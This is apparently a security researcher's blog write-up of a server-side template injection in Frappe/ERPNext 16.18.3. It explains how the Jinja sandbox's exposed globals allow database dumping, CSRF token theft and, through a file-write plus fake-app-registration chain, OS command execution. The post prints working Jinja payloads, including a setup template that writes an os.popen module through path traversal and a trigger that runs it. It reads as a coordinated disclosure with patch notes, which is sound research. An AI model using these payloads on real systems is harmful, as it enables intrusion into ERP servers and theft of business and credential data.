Frappe 16.18.3 / ERPNext 16.19.1 SSTI to OS RCE


Introduction

This article is the result of an Oteria Mission supervised by Laluka focused on white-box code review and tooling. Initially working on wkhtmltopdf, we (TableBasse & Midfirewear) ended up analysing both its implementation and the applications relying on it (bindings, lib usage). Turns out we found vulnerabilities that were not related at all with wkhtmltopdf!

AI has been used for the research and redaction of this article, always human reviewed though!

The application we worked on here is Frappe/ERPNext, version 16.18.3.

Starting the analysis, we expected to find the usual PDF-rendering suspects : an SSRF here, a local-file-read there. Instead, tracing the rendering pipeline through Frappe and ERPNext led us somewhere far more interesting: the Jinja2 “sandbox” that guards user-editable fields is a sandbox only by its name.

Here’s the whole chain, from a single line of hardened Jinja2 to command execution on the host.

What Is Frappe

Frappe is a full-stack Python web framework, and ERPNext is its flagship application and one of the most widely deployed open-source ERP platforms out there. Thousands of organizations run it to handle payroll, accounting, supply chains, and customer records. Every invoice, salary slip, and purchase order it spits out is rendered to PDF by wkhtmltopdf, with a Jinja2 template engine doing the heavy lifting on the way.

In this article, wk is not that guilty, and that template engine is exactly where things fall apart.

Part 1 The Letter Head That Runs SQL

The real world comfort of giving privileges

By default, only a System Manager can write Letter Heads. So far, so boring. But that’s not how ERPNext gets deployed in the real world.

In practice, admins routinely hand Letter Head write access to non-admin employees, for example marketing, HR, office managers so those teams can design company-branded templates. That is a completely legitimate, expected administrative action and it is a native Frappe functionality to grant those rights.

Here’s the part nobody tells the admin: granting Letter Head write access silently grants the ability to run arbitrary SQL against the entire database. Nothing in the UI hints that a Letter Head is evaluated by a Jinja2 engine with full server-side reach.

To set the scene, we log in as Administrator and grant the Accounts User role two permissions:

  • Letter Head: Read + Write + Create (so “accounting can design branded templates”)
  • User: Read + Print (so the user can print their own profile)

Setup > Permissions > Role Permissions Manager

permissions_setup

Why is there no sand in the sandbox huh?

Frappe ships a feature called Server-Side Scripts: trusted, developer-level automation that can hit the DB, send mail, and make HTTP requests. To power it, frappe/utils/safe_exec.py builds a namespace via get_safe_globals() , a generous pile of powerful APIs (frappe.db.sql, frappe.sendmail, frappe.session, frappe.make_get_request, frappe.new_doc, &co).

frappe = NamespaceDict(
    make_get_request=frappe.integrations.utils.make_get_request,
    db=NamespaceDict(
        sql=read_sql,                     # SELECT on any table
        set_value=frappe.db.set_value,    # WRITE to any field in any table
        commit=frappe.db.commit,
    ),
    new_doc=frappe.new_doc,               # create and write documents to disk
    call=call_whitelisted_function,       # call any whitelisted Python function
    session=frappe._dict(
        csrf_token=frappe.local.session.data.csrf_token,
    ),
    sendmail=frappe.sendmail,
    delete_doc=delete_doc,
    enqueue=safe_enqueue,
)
def get_jenv():
    from frappe.utils.safe_exec import get_safe_globals

    if jenv := getattr(frappe.local, "jenv", None):
        return jenv

    default_jenv = _get_jenv()
    jenv = default_jenv.overlay()
    jenv.globals = default_jenv.globals.copy()
    jenv.filters = default_jenv.filters.copy()

    jenv.globals.update(get_safe_globals())  # ← DANGEROUS NAMESPACE INJECTION

    frappe.local.jenv = jenv
    return jenv

The whole problem is that this same namespace is reused, unchanged, to render user-editable templates: Letter Head content, Print Formats, Email Templates, Notification subjects.

Now, the only standing guard is a single string check in frappe/utils/jinja.py (around line 126):

if the template contains .__, reject it. What could go wrong ?

def render_template(template, context=None, is_path=None, safe_render=True):
    ...
    if safe_render and ".__" in template:
        throw(_("Illegal template"))

jinja_check_2

The payload dumps the DB, and steals a CSRF token

In the end, we don’t even need a classic .class.mro[…] escape, we don’t need to escape at all. The dangerous functions are already in the room, reachable by name.

As lowpriv@test.com, a basic user account we create a new Letter Head named LOWPRIV-SSTI-PoC and drop this in the content field:

No .__ anywhere, so the filter does not trigger. frappe.db.sql() reads the full tabUser table (names, emails, API keys), and frappe.session.csrf_token grabs the live CSRF token of whoever renders it.

ssti_payload

Triggering it

Still as the low-priv attacker: open the User list, click your own profile, hit Print, and pick LOWPRIV-SSTI-PoC from the Letter Head dropdown.

User list > lowpriv@test.com > Print > Letter Head: LOWPRIV-SSTI-PoC

The attacker never touches a privileged document, they print their own profile. Frappe hands the Letter Head content to jinja2.Environment.from_string() with the full get_safe_globals() context, and it executes server-side in the Frappe Python process with unrestricted DB access. The rendered printview coughs up:

  • every username and email in tabUser, Administrator included
  • every configured API key
  • the printing user’s live CSRF token

ssti_output

At this point we had a clean, high-severity SSTI. But we pushed further thanks to Laluka’s feeling that something bigger was possible.

Part 2 From SSTI to RCE

You don’t need to escape the sandbox (still)

The read/write DB primitive is already shady. But look again at what get_safe_globals() hands us: frappe.new_doc (inject any file), frappe.db.set_value(arbitrary write database), and frappe.call(call any python module). Chained together, those three turn “I can run SQL” into “I can run commands on your host.”

The sandbox was built to stop us from crawling up the Python object graph to reach os.system, but…

rce_chain

Step 1 - Write A Python File

frappe.new_doc(“File”) lets us write a file straight into Frappe’s site folder which means we can drop an exploit.py, but at this point it cannot be called yet because it is not a trusted application according to Frappe whitelist. If we were able to call it, that file would import os and call os.popen(), giving us OS command execution the moment it runs.

Step 2 - Register A Fake App

Here, our goal is to legitimize our exploit we just planted. frappe.db.set_value(“DefaultValue”, …, “defvalue”, ‘[“frappe”,“erpnext”,“frontend”]‘) rewrites the “installed_apps” row to include our planted package name. Frappe re-reads that value on every request, so the very next request already treats our exploit as a legitimately installed app.

Step 3 - Call It

At this point, we planted our exploit and made it a legitimate application, now we just need to call it. How ? By using frappe.call :)

frappe.call asks frappe to run the exploit, frappe checks that the app is installed and trusted which we faked in step 2 then imports our file and runs it, It happily executes it firing os.popen() which lets us to run any os command as the frappe user !

Phase 1 the setup payload

Inject this into any Email Template response field (or a Letter Head) and render it once. It writes the fake app’s init.py, writes the RCE module, and patches installed_apps (achieving the step 1 and step 2 explained previously) :

{%- set f = frappe.new_doc("File") -%}
{%- set _ = f.update({"file_url": "/files/../../frontend/__init__.py",
    "content": "", "is_private": 0}) -%}
{%- set _ = f.write_file() -%}
{%- set f2 = frappe.new_doc("File") -%}
{%- set _ = f2.update({"file_url": "/files/../../frontend/exploit.py",
    "content": "import os,frappe\ndef rce(**k):\n    return
os.popen(k.get('cmd','id')).read()\nrce=frappe.whitelist()(rce)\n",
    "is_private": 0}) -%}
{%- set _ = f2.write_file() -%}
{%- set rows = frappe.db.sql(
    "SELECT name FROM tabDefaultValue WHERE defkey='installed_apps' LIMIT 1",
    as_dict=True) -%}
{%- set _ = frappe.db.set_value("DefaultValue", rows[0].name, "defvalue",
    "[\"frappe\",\"erpnext\",\"frontend\"]") -%}
SETUP_DONE

Note that none of this contains the “.__” chain, so you can guess the filter never even blinks.

Phase 2 the trigger payload

Swap the template content for the call and render again to execute (step 3) :

{%- set out = frappe.call("frontend.exploit.rce", cmd='id') -%}{{- out -}}

Here we have the confirmed RCE ☺️

confirmed_rce

Impact

The SSTI alone already gives:

  • Full DB read: salaries, invoices, bank accounts, and every user’s api_key / api_secret.
  • Full DB write: privilege escalation in a single set_value + commit.
  • CSRF theft: account takeover of any user, Administrator included.
  • Silent persistence: delete the Letter Head afterwards, the DB changes stay.

If we pile up the file-write chain and module behavior, we also obtain a Remote Code Execution as the frappe user.

The part worth sitting with: minimum required privilege is Letter Head write not System Manager. In a default ERPNext install, that belongs to Sales Manager, Account Manager, and similar everyday business roles. So it is a requirement, but this requirement is often given to not highly privileged employees.

Part 3 Patch …

Frappe’s team did react fast to those issues, and a patch is already being drafted. It is on a dev version at the moment we write (09/07/26) and here is what they did :

Two namespaces instead of one : the root cause was that get_safe_globals() was built for trusted server scripts but was also injected into the jinja environment. To fix this, they separated the namespaces by creating a new “render_safe_globals()” especially designed for template rendering. They also removed frappe.db.set_value, frappe.new_doc, frappe.call … etc. Basically, all the available functions that we had to bypass the filters are now gone :(

They also added a restrict_globals parameter to get_jenv() and render_template(), so when this parameter is set to true, the render call gets a more restricted environment to work with, removing the problematic functions.

We did not find a bypass to those patches at the time we write the article but it is up to you to search some, and to submit it to the Frappe security team. Enjoy your research!

Timeline

  • 13/05/2026 - SSTI PoC confirmed on Frappe/ERPNext v16.18.3
  • 28/05/2026 - Everything ready for the responsible discolosure except the desired RCE so we greeded it.
  • 05/06/2026 - Patch available on dev branch that we didn’t notice.
  • 15/06/2026 - SSTI chained to full RCE.
  • 01/07/2026 - Report sent to Frappe security team.
  • 02/07/2026 - They thanked us, but said that a patch was already in developpement, they already knew.
  • 26/08/2026 - Lalu: Publishing before 3 months embargo : AI fked out lives and timelines anyway! :)

Thanks

We wanted to thank OffenSkill, especially @Laluka for the mission that kicked this off, and @p4st1s for the exchanges along the way. Without them, Frappe would have probably not entered in our applications of research, and we would have stopped at the SSTI step anyways.

Enketo 6.2.1 - Auth-Bypass, SSRF, and XXE Browser Abuse to File Read